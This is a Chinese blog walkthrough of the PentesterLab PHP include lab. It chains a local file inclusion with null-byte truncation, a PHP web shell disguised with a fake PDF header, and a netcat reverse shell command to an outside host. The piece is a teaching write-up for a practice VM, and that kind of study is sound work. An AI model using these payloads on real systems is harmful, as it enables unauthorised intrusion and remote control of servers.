zoukankan      html  css  js  c++  java
  • PentesterLab-PHP Include And Post Exploitation

    一、打开页面,看到这么个页面,按照惯例随手点一点

    二、Login处显然是一个后台登录页面,但前提是的有账号密码,看了下Submit这个页面,发现url中有个page参数

    三、nikto跑一下这个页面。里面有这么一条信息很有意思

    + /index.php?page=../../../../../../../../../../etc/passwd: PHP include error may indicate local or remote file inclusion is possible.

    看样子这个地方可能存在文件包含,把nikto这个结果拿过去请求一下

    发现确实有个include函数,但是里面的文件名后面自动添加了一个.php,想到可以%00截断,请求以下链接,显示除了passwd文件内容,看来没有做限制,下面就去找利用点

    /index.php?page=../../../../../../../../../../etc/passwd%00

    四、这里有个提交功能,写了一个简单地php 一句话木马,放到test.php直接上传,提示只能是PDF文件

    试着抓包修改后缀名和Content-Type,都无法上传,看来服务端可能是判断了文件头经过多次尝试发现,只有当后缀名为.pdf且文件头也为pdf文件头时,才能上传。创建test.pdf文件,内容如下

    %PDF-1.5
    <?php system($_GET['cmd']);?>

    成功上传,这里文件第一行用于伪造pdf文件头。

    五、用上传时的用户名密码登录后台,看到上传的pdf下载链接,上传到了uploads目录,复制,回到最开始的页面,page参数改为这个链接,成功包含文件,但出现报错,缺少cmd参数

    http://192.168.109.131/index.php?page=uploads/k.pdf%00

    六、带上cmd参数,向我们的服务器反弹一个shell回来

    /index.php?page=uploads/k.pdf%00&cmd=nc%20x.x.x.x%209999%20-e%20/bin/bash

    成功getshell

  • 相关阅读:
    转:backbone.js源码解析:extend、Backbone.View
    转:前端单元测试总结
    转:JavaScript Promises相当酷:一种有趣的方案库
    npm发布模块
    转:nodejs npm常用命令
    nodejs守护进程forever
    转:SublimeText2 快捷键一览表
    转载7 Essential JavaScript Functions
    用node生成svg图片
    关于performance
  • 原文地址:https://www.cnblogs.com/zlgxzswjy/p/9662465.html
Copyright © 2011-2022 走看看